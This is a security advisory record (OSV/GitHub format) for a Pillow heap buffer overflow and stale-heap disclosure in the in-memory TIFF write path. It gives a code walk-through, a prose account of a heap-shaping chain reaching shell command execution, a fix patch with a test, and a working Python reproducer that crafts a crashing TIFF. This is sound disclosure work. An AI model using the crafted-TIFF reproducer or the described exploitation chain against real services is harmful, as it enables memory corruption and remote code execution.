{"id":"GHSA-332p-7hrc-92wf","summary":"Pillow: Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO","details":"```\n============================================================================\nHeap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO\nLocation: src/libImaging/TiffDecode.c:94  in _tiffWriteProc()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nPillow can write attacker-chosen data past the end of a heap buffer when it saves a TIFF image to an in-memory destination such as `io.BytesIO` rather than to a file. The same code also copies leftover heap memory from the process into the saved file. Anyone who can supply an image to a service that opens it and re-saves it as TIFF this way can trigger this with default settings. The attached reproducer crashes the process, and the overflow could potentially be developed further, but code execution is not demonstrated here.\n\nThe bug is in `_tiffWriteProc` in `src/libImaging/TiffDecode.c`. This is the write callback for the in-memory sink that Pillow gives libtiff whenever the save target has no `fileno()`. While writing the directory, libtiff seeks past the current end of data and writes tag values there. `_tiffWriteProc` sizes its `realloc()` from `state-\u003esize + size` instead of from the write position `state-\u003eloc`. As a result, the first out-of-line tag value written after that seek can run past the allocation by up to the size of the directory: 12 bytes per entry, 126 bytes in the minimal case, and 2384 bytes observed with a 331-entry directory. The overflowing bytes are the tail of a tag value taken from the uploaded file.\n\nNo save options are needed, because compression and tags are inherited from the source image. The overflow does require an attacker-sized out-of-line tag to reach libtiff. That happens when the opened TIFF is saved directly (ImageDescription, DocumentName or XMP), or through an embedded ICC profile, which survives `copy()` in `im.info`. The bytes libtiff skips for alignment are never initialised, so any compressed TIFF over 64 KiB written this way also leaks one stale heap byte per padding hole. That leak needs no crafted tag.\n\nThe attached reproducer builds a 131 KB PackBits TIFF and runs `Image.open(...).save(io.BytesIO(), \"TIFF\")`. Saving the same image to a file path succeeds, but the `BytesIO` save aborts with glibc's `malloc(): corrupted top size`. A second part of the script shows uninitialised heap bytes at the padding offsets of a `BytesIO` save that are zero in the file save. Saves to real files are unaffected. The defect dates to e782fe721e01 (2013) and has been present since Pillow 2.0.0.\n\n## Details\n\nWhen `im.save()` writes a TIFF through libtiff to a target that has no usable `fileno()` (`io.BytesIO`, an HTTP response object, a storage backend stream), libtiff is opened with `TIFFClientOpen()` on Pillow's own in-memory sink, `_tiffWriteProc` / `_tiffSeekProc` in `src/libImaging/TiffDecode.c`. libtiff treats that sink like a file: when it writes the directory it seeks *beyond* the current end of data (to `eof + IFD size`, where the out-of-line tag values go, and one byte further after every odd-length tag value to keep offsets even) and writes there. On a real file the kernel grows the file and zero-fills the gap. The memory sink does neither correctly:\n\n1. `_tiffWriteProc` sizes its `realloc()` from `state-\u003esize + size` instead of `state-\u003eloc + size`, so the first write after such a seek can land past the end of the new allocation — a heap buffer overflow whose content is tag data taken from the image being saved.\n2. The bytes that libtiff skips are never written, and the grown region is a bare `realloc()`, so they reach the output TIFF with whatever the heap held before.\n\nBoth are reachable with default settings by the ordinary \"re-encode the upload\" sequence `Image.open(upload); im.save(io.BytesIO(), \"TIFF\")` with no save options: `compression` defaults to the source file's (`src/PIL/TiffImagePlugin.py:1734`), any compression other than raw selects the libtiff writer (`:1746`), the source's `tag_v2` entries are passed through to libtiff (`:1959`), and a target without `fileno()` leaves `_fp = 0` (`:1928-1935`), i.e. the memory sink. The overflow half additionally needs an attacker-controlled out-of-line tag value of the right length to reach libtiff. With the opened `TiffImageFile` saved directly (`tag_v2` passthrough) that can be a ~64 KiB ASCII tag (269/270/271/272) or the XMP packet (tag 700, type BYTE — arbitrary bytes), and the number of tags the upload carries sets the IFD size, i.e. the overrun length (12 bytes per entry; 2384 bytes with a 331-entry IFD observed). After `convert()`/`resize()`/`thumbnail()`/`copy()` the `tag_v2` entries are gone, but `im.info[\"compression\"]` (still selecting libtiff) and `im.info[\"icc_profile\"]` survive and the ICC profile is written as tag 34675 (`:1822-1824`), an equally attacker-controlled out-of-line value: `Image.open(x).copy().save(BytesIO(), \"TIFF\")` with the payload in the ICC profile produces the identical ASan report. The stale-byte half needs no attacker tag at all.\n\n**Proof (overflow).** A 131 198-byte hand-built TIFF — mode L, 7×8191, `Compression=32773` (PackBits), an `ImageDescription` of 65 535 characters — opened with `Image.open()` and saved with `im.save(io.BytesIO(), \"TIFF\")` aborts a stock build with glibc's `malloc(): corrupted top size`. The same call against an AddressSanitizer build of the C extensions reports\n\n```\nAddressSanitizer: heap-buffer-overflow ... WRITE of size 65536\n #1 _tiffWriteProc src/libImaging/TiffDecode.c:115\n #4 TIFFFlush\n #5 ImagingLibTiffEncode src/libImaging/TiffDecode.c:1056\n0 bytes to the right of 131072-byte region, allocated by realloc in _tiffWriteProc src/libImaging/TiffDecode.c:103\n```\n\n**Proof (uninitialised bytes).** Saving one 300×300 RGB image as `compression=\"tiff_lzw\"` with four odd-length ASCII tags to a `BytesIO`, once with `MALLOC_PERTURB_=1` (glibc fills fresh allocations with 0xfe) and once with `MALLOC_PERTURB_=170` (0x55), gives two 369 463-byte TIFFs that differ in exactly 4 bytes, 0xfe vs 0x55, at offsets 369177, 369417, 369423, 369451 — the pad byte between the odd-length last strip and the IFD, and the pad byte after each odd-length tag value except the last. The same save to a filename gives byte-identical files with 0x00 there. Without any allocator tweaks, after a few 64 KB–400 KB Python `bytes` objects filled with 0xa7 are created and freed, re-saving an uploaded LZW TIFF carrying ten odd-length ASCII tags yields 0xa7 at all nine pad offsets.\n\n### Code walk-through\n\nThe sink's state is `{data, size (allocated), loc (position), eof (high-water mark)}`; the encoder path starts it as a zeroed 64 KiB block (`TiffDecode.c:863`, `calloc(bufsize, 1)` with `bufsize = 64*1024`, `flrealloc = 1`). Seeking is unconstrained:\n\n```c\n/* src/libImaging/TiffDecode.c:124-141  _tiffSeekProc */\n    case 0: state-\u003eloc = off;            break;   /* may exceed eof and size */\n    case 1: state-\u003eloc += off;           break;\n    case 2: state-\u003eloc = state-\u003eeof + off; break;\n```\n\nand writing assumes `loc \u003c= size`:\n\n```c\n/* src/libImaging/TiffDecode.c:90-117  _tiffWriteProc */\n    to_write = MIN(size, state-\u003esize - (tsize_t)state-\u003eloc);   /* negative if loc \u003e size */\n    if (state-\u003eflrealloc && size \u003e to_write) {\n        tsize_t newsize = state-\u003esize;\n        while (newsize \u003c (size + state-\u003esize)) {               /* capacity target ignores loc */\n            …\n            newsize += 64 * 1024;\n        }\n        new_data = realloc(state-\u003edata, newsize);              /* tail left uninitialised */\n        …\n        state-\u003esize = newsize;\n        to_write = size;\n    }\n    _TIFFmemcpy((UINT8 *)state-\u003edata + state-\u003eloc, buf, to_write);   /* :115 */\n    state-\u003eloc += (toff_t)to_write;\n    state-\u003eeof = MAX(state-\u003eloc, state-\u003eeof);\n```\n\nA gdb trace of the sink calls during the overflowing save (stock build, breakpoints on the two procs) shows how libtiff drives it:\n\n```\nwrite size=63064 at loc=8      (eof=8     size=65536)     strip data (PackBits re-encode:\nwrite size=2464  at loc=63072  (eof=63072 size=65536)      8 bytes/row × 8191 rows)\nseek  off=0     whence=2       -\u003e loc=65536 = eof = size   TIFFWriteDirectory: end of data, already even\nseek  off=4;  write size=4 at loc=4                        link IFD offset into header\nseek  off=65662 whence=0       (eof=65536 size=65536)      65536 + 126-byte IFD (10 entries) = tag data area\nwrite size=65536 at loc=65662  (eof=65536 size=65536)      ImageDescription, first out-of-line value\n```\n\nFor that last call `to_write = 65536 − 65662 = −126`, the loop grows `newsize` until it is ≥ `65536 + 65536`, i.e. to 131072, and the `memcpy` writes `[65662, 131198)` into a 131072-byte block: 126 bytes past the end, containing the last 126 bytes of the description string. `loc`/`eof` become 131198 \u003e `size`; `ImagingLibTiffEncode` later sets `size = eof` (`:1067`) and copies `[0, eof)` out of the same block (`:1073`), reading past it as well.\n\nThe general condition is: at directory-write time the strip data ends within *IFD-size* bytes of the current allocation boundary, and the first out-of-line tag value has a length just below a multiple of 64 KiB. The overrun length is `IFD size + pad − slack`, so it grows by 12 bytes per additional tag. For single-band images (L, P, 1, I;16, F…) `BitsPerSample` is stored inline and the first out-of-line value in tag order is `DocumentName` (269) or `ImageDescription` (270) — both free-length ASCII strings taken from the source file. Pillow re-encodes the pixels itself, but with PackBits the compressed size is a deterministic function of attacker-chosen pixel rows (the reproducer uses rows of 7 distinct bytes → 8 bytes per row → exactly 65536 bytes including the 8-byte header), so the attacker controls both quantities. For multi-band images the 6-byte `BitsPerSample` array is written first and absorbs the growth, which is why RGB sources do not hit the overflow.\n\nThe disclosure half is the benign version of the same sequence. In the LZW/RGB trace the strip data ends at the odd offset 369177; libtiff places the IFD at 369178 and the tag values from 369364 on, and after each odd-length value seeks one byte forward before the next write (`seek off=369418 (loc=369417)`, `write size=5 at loc=369418`, …). Offsets 369177, 369417, 369423 and 369451 are therefore never written. They lie in the part of the buffer obtained by the `realloc()` calls at `:103` (the block grew 65536 → 196608 → 327680 → 458752 during the strip writes), which is not cleared, so the emitted file carries the previous heap contents at those positions. Holes that fall inside the initial 64 KiB are zero only because that block is `calloc`'d.\n\nThe defect was introduced in e782fe721e01 (\"initial merge of wiredfool/Python-Imaging-Library-G4-Tiff-Support\", 2013-03-08), first released in Pillow 2.0.0.\n\n## Impact\n\nAny service that accepts an image and produces a TIFF rendition into a non-file object — the usual pattern for returning or uploading the result without touching disk — is exposed to whoever supplies the image, with no non-default Pillow setting involved. The overflow additionally requires that an attacker-controlled out-of-line tag value reaches libtiff: the uploaded ImageDescription/DocumentName/XMP when the application saves the opened TIFF itself (or copies its tags into the save), or the embedded ICC profile, which survives `convert()`/`resize()`/`thumbnail()`/`copy()` in `im.info` together with the compression. Under those conditions, with a crafted single-band TIFF the uploader gets a heap out-of-bounds write in the worker process of IFD-size bytes (12 bytes per directory entry the upload carries — 126 bytes with the minimal reproducer, 2384 bytes with a 331-entry IFD) immediately past a 128 KiB-class `realloc` block, with the overwritten bytes being the tail of a tag value they chose; on the stock build the minimal reproducer is detected by glibc and kills the process (`SIGABRT`).\n\nGiven two addresses leaked by a separate bug, this write has been turned into code execution against a stock build of this commit with ASLR/PIE/NX enabled and default settings (that proof-of-concept is not included with this report): a single-process stdlib `http.server` worker doing nothing but `Image.open(BytesIO(body)).save(BytesIO(), \"TIFF\")` per upload executed an attacker-chosen shell command (`id\u003e/tmp/r.XXXXXX`), answered `200` and kept serving (12/12 against a freshly started worker, 2/6 after twenty unrelated uploads; a miss normally leaves the worker running and is retryable). The two addresses (`&system`, `&PyBytes_Type`) were taken from an unrelated information disclosure in the same process; everything else is this bug plus properties of Pillow's TIFF reader used as a heap-shaping script. The 4.7 MB attack TIFF is a 397×165 8-bit PackBits image whose rows re-encode to exactly 65 528 bytes (strip ends at sink offset 65 536), a 63 942-byte XMP packet (tag 700) as the first out-of-line value, and ~500 private IFD entries. Because `TiffImagePlugin` turns every IFD entry into one `bytes` object in IFD order, frees an earlier entry when a later one repeats its tag number, and parses the IFD three times per request (`TiffImagePlugin.py:1258`, `:1271`, and `getexif()` from `load_end()` at `:1331`), those entries drain glibc's free lists, punch exact-size holes for every large allocation the save makes, and arrange that the 128 KiB `realloc` of the sink lands directly below a live 0x540 chunk followed by libtiff's own `TIFF` handle (`malloc(1313)` from `TIFFClientOpen`). The 2384 overflowing bytes rewrite the start of the `TIFF` struct with the command string, a zeroed `tif_dir`, `tif_diroff = 65536`, and `tif_cleanup = system` at +0x3f8; libtiff resumes `TIFFWriteDirectorySec` on the modified handle and calls `(*tif-\u003etif_cleanup)(tif)`. With gdb on `__libc_system` the call arrives as `__libc_system(\"id\u003e/tmp/r.…\") ← libtiff.so.6 ← TIFFFlush ← ImagingLibTiffEncode (src/libImaging/TiffDecode.c:1056) ← _encode (src/encode.c:139)`. Offsets are per-binary constants (glibc 2.36, CPython 3.12.14, libtiff 4.5.0, this `_imaging.so`), all obtainable from public distribution files.\n\nIndependently, every compressed TIFF written to such a target that exceeds 64 KiB discloses one byte of stale heap per alignment hole (one per odd-length tag value plus possibly one before the IFD; the count is set by the tags in the uploaded file) at predictable offsets in the returned file — low bandwidth, but it is other requests' freed data. File-path and real-fd targets (`TIFFFdOpen`) are unaffected by either issue. The primitive is the same class and attacker position as the `TiffDecode.c` decode-side heap overflows CVE-2020-35654, CVE-2021-25289 and CVE-2020-10379, but on the encode path and behind the output-to-a-non-file and tag-passthrough preconditions above, with code execution additionally depending on an address leak from another bug.\n\n## Reproducing\n\n`repro` is a single Python script that uses the installed Pillow, writes its inputs into a temporary directory. It has two parts. Each part compares saving to a file path, which goes through `TIFFFdOpen` and is correct, with the same save into an `io.BytesIO`, which goes through the `_tiffWriteProc` memory sink.\n\n**Part 1: heap overflow.** `setup_env()` builds `upload.tif` (131 198 bytes) byte by byte: a mode L, 7×8191 image with `Compression=32773` (PackBits) and a 65 535-character `ImageDescription`. The sizes are picked so that when Pillow re-encodes the pixels, the strip comes to 8 + 8191 × 8 = 65 536 bytes and ends exactly at the sink's initial 64 KiB buffer. libtiff then seeks past the 126-byte IFD and writes the 65 536-byte description at offset 65 662. The sink grows only to 131 072 bytes, so the last 126 bytes of the description are written past the end of the heap block. In a fresh child process, the script runs `Image.open(\"upload.tif\").save(\u003ctarget\u003e, \"TIFF\")` with no options, once with `\"out.tif\"` as the target and once with `io.BytesIO()`. The file save exits with 0. The BytesIO save is killed by SIGABRT, with glibc reporting `malloc(): corrupted top size`.\n\n**Part 2: stale heap bytes in the output.** A child started with `MALLOC_PERTURB_=170` (glibc fills fresh allocations with 0x55) saves a seeded-noise 300×300 RGB image with `compression=\"tiff_lzw\"` and four odd-length ASCII tags. It saves once to a file and once to a BytesIO, then prints every offset where the two outputs differ. libtiff skips one pad byte before the IFD and one after each odd-length tag value. The file has 0x00 at those offsets, but the BytesIO output still holds the 0x55 that was in uninitialised `realloc()` memory.\n\nExpected output on this tree:\n\n```\nupload.tif: 131198 bytes\nsave to file path : exit code 0, out.tif = 131210 bytes\nsave to BytesIO   : exit code -6, stderr: 'malloc(): corrupted top size'\n-\u003e heap overflow crashed the process: True\n\nsame image, same options, saved to a file path vs. to a BytesIO:\n  offset 369177: file 0x00   BytesIO 0x55\n  offset 369417: file 0x00   BytesIO 0x55\n  offset 369423: file 0x00   BytesIO 0x55\n  offset 369451: file 0x00   BytesIO 0x55\n\n-\u003e BytesIO output contains never-written heap bytes: True\n\nBUG\n```\n\nThe last line is `BUG` if either part shows its defect, and `OK` otherwise. With the attached patch applied and rebuilt, the BytesIO save exits with 0, the two outputs are identical, and the script prints `OK`.\n\n## Suggested fix\n\nThe attached patch makes `_tiffWriteProc` in `src/libImaging/TiffDecode.c` honour sparse-file semantics: it sizes the buffer from the write position, and zeroes what `realloc()` adds (the initial block is already `calloc`'d, so every byte libtiff skips then reads as 0, exactly as through `TIFFFdOpen`). For the non-reallocating case (`flrealloc == 0`), where `loc \u003e size` would also make `to_write` negative, it rejects the write with a `TIFFError`, the same idiom `_tiffReadProc` uses:\n\n```diff\n-        while (newsize \u003c (size + state-\u003esize)) {\n+        while (newsize \u003c (size + (tsize_t)state-\u003eloc)) {\n …\n+        memset((UINT8 *)new_data + state-\u003esize, 0, newsize - state-\u003esize);\n         state-\u003edata = new_data;\n         state-\u003esize = newsize;\n         to_write = size;\n+    } else if (to_write \u003c 0) {\n+        TIFFError(\"_tiffWriteProc\", \"Invalid Write at loc %\" PRIu64 \", size: %\" PRIu64, …);\n+        return 0;\n     }\n```\n\n`_tiffSeekProc` is left unconstrained, since libtiff legitimately seeks past the end of data; with the write proc fixed, `eof` can no longer exceed `size`, so the read-out in `ImagingLibTiffEncode` (`:1067`, `:1073`) stays within the block. The patch also adds `test_save_bytesio_seek_past_end` to `Tests/test_file_libtiff.py`, which saves the PackBits 64 KiB-boundary case and an LZW case with odd-length tags to both a file and a `BytesIO` and asserts the outputs are identical. With the patch applied and rebuilt, the BytesIO output is byte-identical to the file output, no AddressSanitizer report is produced for tag lengths 65410/65535/131071/196607, the code-execution chain described under Impact no longer runs its command, and the existing TIFF tests pass.\n\n## The patch\n\nSize the libtiff in-memory write buffer from the write position, not its current size, and zero the space added by realloc in _tiffWriteProc\n\nApplies to `src/libImaging/TiffDecode.c` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py\nindex 3d804ea4a..d2a926a62 100644\n--- a/Tests/test_file_libtiff.py\n+++ b/Tests/test_file_libtiff.py\n@@ -760,6 +760,38 @@ class TestFileLibTiff(LibTiffTestCase):\n         save_bytesio(\"packbits\")\n         save_bytesio(\"tiff_lzw\")\n \n+    def test_save_bytesio_seek_past_end(self, tmp_path: Path) -\u003e None:\n+        # When writing the directory, libtiff seeks past the end of the data\n+        # written so far, and then writes the tag values there. Check that the\n+        # in-memory write buffer grows to fit, and that the bytes that are\n+        # skipped over are zero, as they would be when writing to a file.\n+\n+        # 7 distinct bytes per row: PackBits emits 8 bytes per row, so the strip\n+        # plus the header are exactly 64 KiB, the initial size of the buffer\n+        im = Image.new(\"L\", (7, 8191))\n+        im.putdata([(i * 37) & 0xFF for i in range(7 * 8191)])\n+        kwargs = {\"compression\": \"packbits\", \"description\": \"D\" * 65535}\n+\n+        outfile = tmp_path / \"temp.tif\"\n+        im.save(outfile, **kwargs)\n+        buffer_io = io.BytesIO()\n+        im.save(buffer_io, format=\"tiff\", **kwargs)\n+        assert buffer_io.getvalue() == outfile.read_bytes()\n+\n+        # odd-length tag values, so that libtiff pads between them. Large enough\n+        # that the buffer has to be reallocated\n+        im = hopper().resize((300, 300))\n+        kwargs = {\n+            \"compression\": \"tiff_lzw\",\n+            \"description\": \"abcdef\",\n+            \"software\": \"xyz0\",\n+            \"tiffinfo\": {315: \"artist\", 33432: \"copyright!\"},\n+        }\n+        im.save(outfile, **kwargs)\n+        buffer_io = io.BytesIO()\n+        im.save(buffer_io, format=\"tiff\", **kwargs)\n+        assert buffer_io.getvalue() == outfile.read_bytes()\n+\n     def test_save_ycbcr(self, tmp_path: Path) -\u003e None:\n         im = hopper(\"YCbCr\")\n         outfile = tmp_path / \"temp.tif\"\ndiff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c\nindex 8a57c523d..dd9945493 100644\n--- a/src/libImaging/TiffDecode.c\n+++ b/src/libImaging/TiffDecode.c\n@@ -87,11 +87,13 @@ _tiffWriteProc(thandle_t hdata, tdata_t buf, tsize_t size) {\n     TRACE((\"_tiffWriteProc: %d \\n\", (int)size));\n     dump_state(state);\n \n+    // libtiff may have seeked past the end of the buffer, e.g. when writing the\n+    // directory, so the required size is based on the current location.\n     to_write = MIN(size, state-\u003esize - (tsize_t)state-\u003eloc);\n     if (state-\u003eflrealloc && size \u003e to_write) {\n         tdata_t new_data;\n         tsize_t newsize = state-\u003esize;\n-        while (newsize \u003c (size + state-\u003esize)) {\n+        while (newsize \u003c (size + (tsize_t)state-\u003eloc)) {\n             if (newsize \u003e INT_MAX - 64 * 1024) {\n                 return 0;\n             }\n@@ -105,9 +107,20 @@ _tiffWriteProc(thandle_t hdata, tdata_t buf, tsize_t size) {\n             // fail out\n             return 0;\n         }\n+        // zero the new space, so that any bytes libtiff seeks over without\n+        // writing are 0 in the output, as they would be in a file\n+        memset((UINT8 *)new_data + state-\u003esize, 0, newsize - state-\u003esize);\n         state-\u003edata = new_data;\n         state-\u003esize = newsize;\n         to_write = size;\n+    } else if (to_write \u003c 0) {\n+        TIFFError(\n+            \"_tiffWriteProc\",\n+            \"Invalid Write at loc %\" PRIu64 \", size: %\" PRIu64,\n+            state-\u003eloc,\n+            (toff_t)state-\u003esize\n+        );\n+        return 0;\n     }\n \n     TRACE((\"to_write: %d\\n\", (int)to_write));\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer — \u003ccode\u003erepro\u003c/code\u003e, 5,434 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPillow: heap overflow + stale heap bytes in the libtiff in-memory write sink\n(_tiffWriteProc, src/libImaging/TiffDecode.c).\n\nim.save(\u003cBytesIO\u003e, \"TIFF\") with any compression goes through libtiff writing\ninto Pillow's memory sink. When libtiff writes the directory it seeks *past*\nthe end of the data written so far and writes tag values there:\n\n  1. _tiffWriteProc grows the buffer to `size + write_len` instead of\n     `loc + write_len`, so that write can run off the end of the allocation.\n  2. The bytes libtiff skipped over are never written, so whatever the heap\n     held there ends up in the output file.\n\nThe same saves to a file path are fine (the kernel zero-fills skipped bytes),\nwhich is the control for both parts.\n\"\"\"\nimport os\nimport resource\nimport struct\nimport subprocess\nimport sys\nimport tempfile\n\nresource.setrlimit(resource.RLIMIT_CORE, (0, 0))   # the overflow aborts; no core file\nos.chdir(tempfile.mkdtemp())\n\n\ndef run(code, **env):\n    \"\"\"Run a Python snippet against the installed Pillow in a fresh process.\"\"\"\n    return subprocess.run([sys.executable, \"-c\", code], env={**os.environ, **env},\n                          capture_output=True, text=True)\n\n\ndef setup_env():\n    \"\"\"Write upload.tif: an L-mode 7x8191 PackBits TIFF with a 65535-char ImageDescription.\n\n    Sizes are chosen so that, when Pillow re-encodes it:\n      - the PackBits strip is 8191 rows x 8 bytes + 8-byte header = 65536 bytes,\n        i.e. the data ends exactly at the sink's initial 64 KiB buffer;\n      - the first out-of-line tag value (ImageDescription + NUL) is 65536 bytes\n        and goes at 65536 + 126 (the 10-entry IFD sits in between).\n    The sink grows to 65536 + 65536 = 131072 bytes, then writes [65662, 131198):\n    the last 126 bytes of the description land past the end of the heap block.\n    \"\"\"\n    w, h = 7, 8191\n    # 7 distinct bytes per row -\u003e PackBits can only emit one literal run: 1 + 7 bytes\n    strip = b\"\".join(b\"\\x06\" + bytes((y * 7 + x) * 37 & 0xFF for x in range(w)) for y in range(h))\n    desc = b\"D\" * 65535 + b\"\\x00\"\n    strip_off, desc_off = 8, 8 + len(strip)\n    ifd_off = desc_off + len(desc)\n    entries = [\n        (256, 4, 1, w),                  # ImageWidth\n        (257, 4, 1, h),                  # ImageLength\n        (258, 3, 1, 8),                  # BitsPerSample\n        (259, 3, 1, 32773),              # Compression = PackBits (inherited by save())\n        (262, 3, 1, 1),                  # PhotometricInterpretation = BlackIsZero\n        (270, 2, len(desc), desc_off),   # ImageDescription (carried into save() via tag_v2)\n        (273, 4, 1, strip_off),          # StripOffsets\n        (277, 3, 1, 1),                  # SamplesPerPixel\n        (278, 4, 1, h),                  # RowsPerStrip\n        (279, 4, 1, len(strip)),         # StripByteCounts\n    ]\n    ifd = struct.pack(\"\u003cH\", len(entries))\n    ifd += b\"\".join(struct.pack(\"\u003cHHII\", *e) for e in entries)\n    ifd += struct.pack(\"\u003cI\", 0)\n    with open(\"upload.tif\", \"wb\") as f:\n        f.write(struct.pack(\"\u003c2sHI\", b\"II\", 42, ifd_off) + strip + desc + ifd)\n\n\n# ---------------------------------------------------------------------------\n# Part 1: heap buffer overflow. Re-save an uploaded TIFF with no options.\n# ---------------------------------------------------------------------------\nsetup_env()\nprint(f\"upload.tif: {os.path.getsize('upload.tif')} bytes\")\n\nRESAVE = 'from PIL import Image; import io; Image.open(\"upload.tif\").save({target}, \"TIFF\")'\n\n# Control: saving to a file path (real fd, no memory sink) works\ncontrol = run(RESAVE.format(target='\"out.tif\"'))\nprint(f\"save to file path : exit code {control.returncode}, out.tif = {os.path.getsize('out.tif')} bytes\")\n\n# PoC: the identical save into a BytesIO\npoc = run(RESAVE.format(target=\"io.BytesIO()\"))\nprint(f\"save to BytesIO   : exit code {poc.returncode}, stderr: {poc.stderr.strip()!r}\")\n\n# A process killed by a signal (SIGABRT from glibc's heap check) = heap corrupted\noverflow = control.returncode == 0 and poc.returncode \u003c 0\nprint(f\"-\u003e heap overflow crashed the process: {overflow}\\n\")\n\n\n# ---------------------------------------------------------------------------\n# Part 2: stale heap bytes in the output. MALLOC_PERTURB_=170 makes glibc fill\n# fresh allocations with 0x55, so never-written bytes become visible.\n# ---------------------------------------------------------------------------\nSTALE = r'''\nimport io, random\nfrom PIL import Image\nrandom.seed(1)\nim = Image.new(\"RGB\", (300, 300))      # noise -\u003e ~360 KB LZW, so the sink must realloc()\nim.putdata([tuple(random.randrange(256) for _ in \"rgb\") for _ in range(300 * 300)])\n# odd-length ASCII tags: libtiff skips one pad byte after each\nkw = dict(compression=\"tiff_lzw\", description=\"abcdef\", software=\"xyz0\",\n          tiffinfo={315: \"artist\", 33432: \"copyright!\", 306: \"2024:01:01 00:00:00\"})\nim.save(\"ref.tif\", \"TIFF\", **kw)\nbuf = io.BytesIO()\nim.save(buf, \"TIFF\", **kw)\na, b = open(\"ref.tif\", \"rb\").read(), buf.getvalue()\nfor i in (i for i in range(len(a)) if a[i] != b[i]):\n    print(f\"  offset {i}: file 0x{a[i]:02x}   BytesIO 0x{b[i]:02x}\")\n'''\nstale = run(STALE, MALLOC_PERTURB_=\"170\").stdout\nprint(\"same image, same options, saved to a file path vs. to a BytesIO:\")\nprint(stale or \"  outputs identical\")\nleak = \"BytesIO 0x55\" in stale\nprint(f\"-\u003e BytesIO output contains never-written heap bytes: {leak}\\n\")\n\nprint(\"BUG\" if overflow or leak else \"OK\")\n```\n\u003c/details\u003e\n\n---","aliases":["CVE-2026-112393"],"modified":"2026-10-21T21:45:08.360916626Z","published":"2026-10-21T21:28:09Z","database_specific":{"cwe_ids":["CWE-122"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-10-21T21:28:09Z","nvd_published_at":"2026-10-19T21:17:07Z"},"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-332p-7hrc-92wf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112393"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/11582e5ffbdceb973d5ee593f3105af5a9852b40"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}],"affected":[{"package":{"name":"pillow","ecosystem":"PyPI","purl":"pkg:pypi/pillow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"13.0.0"}]}],"versions":["10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1","2.8.2","2.9.0","3.0.0","3.1.0","3.1.0.rc1","3.1.0rc1","3.1.1","3.1.2","3.2.0","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","4.0.0","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-332p-7hrc-92wf/GHSA-332p-7hrc-92wf.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}